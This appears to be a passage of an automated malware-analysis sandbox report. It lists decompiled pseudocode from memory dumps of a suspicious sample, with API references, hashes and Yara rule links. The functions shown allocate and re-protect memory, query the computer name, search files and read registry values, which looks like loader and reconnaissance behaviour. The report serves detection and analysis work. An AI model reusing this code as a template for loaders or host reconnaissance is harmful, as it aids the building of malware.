					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E03394859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E03392DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E0339348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E03394DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x03396194
0x03396194
0x03396194
0x03396195
0x0339619c
0x0339619f
0x033961a4
0x033961a7
0x033961a9
0x033961ab
0x033961ac
0x033961af
0x033961b7
0x033961c5
0x033961c5
0x033961ca
0x033961ca
0x033961d1
0x033961d5
0x033961d8
0x033961de
0x033961e8
0x033961f0
0x033961f7
0x033961fd
0x03396207
0x03396209
0x03396210
0x03396214
0x03396218
0x0339621c
0x03396226
0x03396226
0x03396230
0x03396230
0x03396233
0x03396233
0x03396239
0x03396240
0x03396243
0x0339624b
0x0339624f
0x03396255
0x03396260
0x03396262
0x03396267
0x03396272
0x03396274
0x03396276
0x03396279
0x0339627a
0x0339627d
0x03396281
0x03396284
0x03396284
0x0339628a
0x0339628d
0x0339628e
0x0339628e
0x0339628e
0x03396296
0x0339629f
0x0339629f
0x033962a2
0x033962a7
0x033962af
0x033962b3
0x033962b4
0x033962b4
0x033962b9
0x033962c6
0x033962c9
0x033962cd
0x033962e1
0x033962e9
0x033962ed
0x033962f3
0x033962f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 033961CA
VirtualProtect.KERNELBASE(?,?), ref: 03396233

Memory Dump Source

Source File: 00000003.00000002.493608082.0000000003390000.00000040.00000001.sdmp, Offset: 03390000, based on PE: true

Associated: 00000003.00000002.493695739.00000000033A8000.00000040.00000001.sdmp Download File
Associated: 00000003.00000002.493709249.00000000033ED000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: cbb4e1dedcdd9b8333b851438b23b6fddddd9fb13e207512e618c45ea2684bf3
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: E641CF72904604DFEB00DF20C8C17AEBBF9EF88711F0A846DDD888F249DB7855818B69

Uniqueness

Uniqueness Score: -1.00%

Function 03449152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E03449152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E03443AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x344d27c; // 0x262a5a8
						_t20 = _t68 + 0x344e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E03447C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x03449158
0x0344915b
0x0344916b
0x03449174
0x03449178
0x03449246
0x0344924c
0x0344924c
0x03449192
0x03449197
0x0344919b
0x034491a1
0x034491a6
0x034491ad
0x034491bc
0x034491bc
0x034491c0
0x034491c2
0x034491ce
0x034491d9
0x034491e4
0x034491e8
0x034491f2
0x034491f6
0x034491f8
0x034491fd
0x03449204
0x03449214
0x03449214
0x034491fd
0x034491f6
0x03449216
0x0344921b
0x03449220
0x03449220
0x03449226
0x0344922c
0x03449231
0x03449231
0x03449236
0x0344923b
0x0344923b
0x03449236
0x034491c0
0x0344923d
0x03449243
0x00000000

APIs

Part of subcall function 03443AEF: SysAllocString.OLEAUT32(80000002), ref: 03443B46
Part of subcall function 03443AEF: SysFreeString.OLEAUT32(00000000), ref: 03443BAB

SysFreeString.OLEAUT32(?), ref: 03449231
SysFreeString.OLEAUT32(03441885), ref: 0344923B

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 37537b668be6274c103ca3ccbb1d3c81e1779cd3f4d42827d4ecdce9a1744234
Instruction ID: 0d13d7c9b9f6099f31c1d9b71b2364bdd8b73f76a8d7a7eca7f77d16cd018e8b
Opcode Fuzzy Hash: 37537b668be6274c103ca3ccbb1d3c81e1779cd3f4d42827d4ecdce9a1744234
Instruction Fuzzy Hash: 96314B76900118AFDB21DFA5C888C9BBB7AFFC97407144A69F8159F210E731DD51DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0344A6A5, Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 0344A6CD

Part of subcall function 03449152: SysFreeString.OLEAUT32(?), ref: 03449231

SafeArrayDestroy.OLEAUT32(?), ref: 0344A71A

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: ArraySafe$CreateDestroyFreeString
String ID:
API String ID: 3098518882-0
Opcode ID: eddece273ab1c630b1071a3c5b5da5d9354a1d182073a85cc0cc24f0bbfb60e8
Instruction ID: f1e1c0f094158431b32132b338b77b6a3d1e1072c715173f132dc6581b519366
Opcode Fuzzy Hash: eddece273ab1c630b1071a3c5b5da5d9354a1d182073a85cc0cc24f0bbfb60e8
Instruction Fuzzy Hash: 89115E76900109BFEF11DFA5C845EEEBBB9FB08350F048035FA00EA161E374DA559B95

Uniqueness

Uniqueness Score: -1.00%

Function 034489D6, Relevance: 3.0, APIs: 2, Instructions: 49
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E034489D6(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t24;
				signed short* _t25;

				_t23 = __edx;
				_t24 = E0344809F(0, _a12);
				if(_t24 == 0) {
					_t21 = 8;
				} else {
					_t25 = _t24 + _a16 * 2;
					 *_t25 =  *_t25 & 0x00000000;
					_t21 = E0344904E(__ecx, _a4, _a8, _t24);
					if(_t21 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_push( &_v12);
						 *_t25 = 0x5f;
						_t20 = E0344A635(_t23, 8, _a4, 0x80000001, _a8, _t24); // executed
						_t21 = _t20;
					}
					HeapFree( *0x344d238, 0, _t24);
				}
				return _t21;
			}

0x034489d6
0x034489e9
0x034489ed
0x03448a47
0x034489ef
0x034489f6
0x034489fc
0x03448a05
0x03448a09
0x03448a0f
0x03448a18
0x03448a1d
0x03448a2d
0x03448a32
0x03448a32
0x03448a3d
0x03448a3d
0x03448a4e

APIs

Part of subcall function 0344809F: lstrlen.KERNEL32(?,00000000,0344D330,00000001,03442200,0344D00C,0344D00C,00000000,00000005,00000000,00000000,?,?,?,034496C1,034423E9), ref: 034480A8
Part of subcall function 0344809F: mbstowcs.NTDLL ref: 034480CF
Part of subcall function 0344809F: memset.NTDLL ref: 034480E1

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,76D25520,00000000,00000008,00000014,004F0053,05A7937C), ref: 03448A0F
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,76D25520,00000000,00000008,00000014,004F0053,05A7937C), ref: 03448A3D

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: 8dcd7aabd2d273064bb7a911485d733972d207b9b2d6772396435e1f6958e291
Instruction ID: a3c800a2c0a298767a3ef014afae328298769097c15723605d04254f345e39b0
Opcode Fuzzy Hash: 8dcd7aabd2d273064bb7a911485d733972d207b9b2d6772396435e1f6958e291
Instruction Fuzzy Hash: BE018436500209BBEF21AFA5DC45E9B7BB9FF84704F004436FA00AE151DBB2D9558754

Uniqueness

Uniqueness Score: -1.00%

Function 034454BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E034454BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E03442049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E03449039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x034454c1
0x034454cc
0x034454ce
0x034454d4
0x034454d6
0x034454db
0x034454e4
0x034454e8
0x034454f1
0x034454f5
0x03445504
0x034454f7
0x034454f8
0x034454fd
0x034454fd
0x034454f5
0x034454e8
0x0344550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,0344A306,76D7F710,00000000,?,?,0344A306), ref: 034454D4

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

GetComputerNameExA.KERNELBASE(00000003,00000000,0344A306,0344A307,?,?,0344A306), ref: 034454F1

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 62af1046c08fd7bb3c801bede4dfa0cc90d4a129ed09054248569d8f0cdb0fd1
Instruction ID: c90f331aa12de632d04d849bb96b4c294dcf147f5ccc6cc89a4aa2304daedb8a
Opcode Fuzzy Hash: 62af1046c08fd7bb3c801bede4dfa0cc90d4a129ed09054248569d8f0cdb0fd1
Instruction Fuzzy Hash: 8FF05426600209BBFF11DA9A9C40EBF77EEDBC6A50F1500BAA904DB244EA70DE019774

Uniqueness

Uniqueness Score: -1.00%

Function 03448055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x344d23c) == 0) {
						E0344970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x344d23c) == 1) {
						_t10 = E03446A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x0344805c
0x0344805d
0x03448060
0x03448092
0x03448094
0x03448094
0x03448062
0x03448063
0x03448078
0x0344807f
0x03448081
0x03448081
0x0344807f
0x03448063
0x0344809c

APIs

InterlockedIncrement.KERNEL32(0344D23C), ref: 0344806A

Part of subcall function 03446A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0344807D,?), ref: 03446A69

InterlockedDecrement.KERNEL32(0344D23C), ref: 0344808A

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 1026c8fe743d13e45ce71e3d51df925dca7bccc3338f33c52ccc72d363eeb21f
Instruction ID: a18c60ea3b02ff9c24c51677271813cd0b412a569e6f1da78671705c83d15e4a
Opcode Fuzzy Hash: 1026c8fe743d13e45ce71e3d51df925dca7bccc3338f33c52ccc72d363eeb21f
Instruction Fuzzy Hash: FDE04F793643216BF632EBB59844B5FA655AB02A80F0F8437F785EC154CA11C85096DA

Uniqueness

Uniqueness Score: -1.00%

Function 03449318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E03449318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x344d27c; // 0x262a5a8
				_t4 = _t15 + 0x344e39c; // 0x5a78944
				_t20 = _t4;
				_t6 = _t15 + 0x344e124; // 0x650047
				_t17 = E03449152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E03449FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x03449322
0x03449324
0x0344932b
0x0344932c
0x0344932d
0x0344932e
0x03449334
0x03449339
0x03449339
0x03449343
0x03449355
0x0344935c
0x0344938b
0x0344935e
0x03449363
0x03449388
0x03449365
0x03449368
0x0344936f
0x0344937a
0x03449371
0x03449374
0x03449374
0x0344937e
0x0344937e
0x03449363
0x03449392

APIs

Part of subcall function 03449152: SysFreeString.OLEAUT32(?), ref: 03449231

Part of subcall function 03449FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,03447946,004F0053,00000000,?), ref: 03449FD2
Part of subcall function 03449FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,03447946,004F0053,00000000,?), ref: 03449FFC
Part of subcall function 03449FC9: memset.NTDLL ref: 0344A010

SysFreeString.OLEAUT32(00000000), ref: 0344937E

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 848700075040dd3876d1b1d0355a2e5f5c63271c872ebf71769f7a634da923a3
Instruction ID: 0ec611d2355bfe43f16c390c92a8f2bdcb73911c2fef10a253d7374ccf2e1d40
Opcode Fuzzy Hash: 848700075040dd3876d1b1d0355a2e5f5c63271c872ebf71769f7a634da923a3
Instruction Fuzzy Hash: 93019E32500119BFEB11EFA8CC448AFBBB8FB49710B004976E911EA1A0E370A9559795

Uniqueness

Uniqueness Score: -1.00%

Function 03442049, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E03442049(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x344d238, 0, _a4); // executed
				return _t2;
			}

0x03442055
0x0344205b

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 04ceecc9a74522e8e89024c4375b0d790647c20c04c6bde09e9e77b83a8aa1a4
Instruction ID: 83ed1d9f536ed32c67cd376da9d4aee4cfac2ab87eeea6abd0ab7599e32ce3d1
Opcode Fuzzy Hash: 04ceecc9a74522e8e89024c4375b0d790647c20c04c6bde09e9e77b83a8aa1a4
Instruction Fuzzy Hash: C9B0123E800100BBCA116B50DD04F05FBA1BB54700F004130F2046C078C7314C60EB06

Uniqueness

Uniqueness Score: -1.00%

Function 034421CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E034421CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x344d330;
				E034484D5();
				while(1) {
					_t8 = E034412D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E0344809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x344d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E034484D5();
					if(_t19 != 0) {
						_t22 =  *0x344d338; // 0x5a79b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x034421d5
0x034421d9
0x034421da
0x034421db
0x034421e0
0x034421e5
0x034421ec
0x034421f3
0x00000000
0x00000000
0x034421f5
0x034421fa
0x034421fb
0x03442202
0x0344221c
0x00000000
0x03442204
0x03442204
0x03442206
0x03442209
0x0344220d
0x00000000
0x00000000
0x0344220f
0x0344220d
0x03442224
0x03442224
0x03442226
0x0344222d
0x0344222f
0x03442235
0x0344223c
0x0344224c
0x03442244
0x03442247
0x03442247
0x0344224f
0x0344224f
0x03442258
0x03442258
0x03442222
0x00000000

APIs

Part of subcall function 034484D5: GetProcAddress.KERNEL32(36776F57,034421E5), ref: 034484F0

Part of subcall function 034412D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 034412FF
Part of subcall function 034412D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 03441321
Part of subcall function 034412D4: memset.NTDLL ref: 0344133B
Part of subcall function 034412D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 03441379
Part of subcall function 034412D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0344138D
Part of subcall function 034412D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 034413A4
Part of subcall function 034412D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 034413B0
Part of subcall function 034412D4: lstrcat.KERNEL32(?,642E2A5C), ref: 034413F1
Part of subcall function 034412D4: FindFirstFileA.KERNELBASE(?,?), ref: 03441407

Part of subcall function 0344809F: lstrlen.KERNEL32(?,00000000,0344D330,00000001,03442200,0344D00C,0344D00C,00000000,00000005,00000000,00000000,?,?,?,034496C1,034423E9), ref: 034480A8
Part of subcall function 0344809F: mbstowcs.NTDLL ref: 034480CF
Part of subcall function 0344809F: memset.NTDLL ref: 034480E1

HeapFree.KERNEL32(00000000,0344D00C,0344D00C,0344D00C,00000000,00000005,00000000,00000000,?,?,?,034496C1,034423E9,0344D00C,?,034423E9), ref: 0344221C

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: 1b10d20fffb81b8f76e3ef5c219411ec5840d404b2f833ad5b819ce17e22b997
Instruction ID: 92f834bcc30ce1c30c4a12cc08eac86e54ccd18d6e4956403fb1cdd51c426494
Opcode Fuzzy Hash: 1b10d20fffb81b8f76e3ef5c219411ec5840d404b2f833ad5b819ce17e22b997
Instruction Fuzzy Hash: 0A01F539600208BEF700EFEADC80B6AB2D9FB45264F44043BB944EE190DAA59C819228

Uniqueness

Uniqueness Score: -1.00%

Function 03441262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E03441262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E03449318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E03446BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x344d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x0344126a
0x034412bf
0x034412c4
0x0344126c
0x03441286
0x0344128a
0x0344128f
0x03441291
0x034412a1
0x034412ad
0x03441293
0x03441293
0x03441296
0x0344129b
0x0344129b
0x03441291
0x0344128a
0x034412ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,76D7F710,?,?,76D7F710,00000000,?,0344743A,?,004F0053,05A79388,00000000,?), ref: 034412AD

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9c4d6cd2151942c811ae8c73769ad2c24067964beae282f70344e7753b29e6e3
Instruction ID: a8136ca6a741c0a4447dafe622d019f091ca2fcd12f22935827b875050613193
Opcode Fuzzy Hash: 9c4d6cd2151942c811ae8c73769ad2c24067964beae282f70344e7753b29e6e3
Instruction Fuzzy Hash: 54014F36100289FBDB11DF44CC05FAA3BA5FB44350F14843AFA15EE260D730D561D714

Uniqueness

Uniqueness Score: -1.00%

Function 03442436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E03442436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x03442436
0x03442443
0x03442444
0x03442445
0x0344244c
0x0344247a
0x0344247b
0x0344247e
0x03442484
0x00000000
0x00000000
0x03442463
0x0344246d
0x03442474
0x00000000
0x03442465
0x03442468
0x03442488
0x0344246a
0x0344246a
0x00000000
0x0344246a
0x03442468
0x0344248f
0x03442495
0x03442495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 0344247E

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

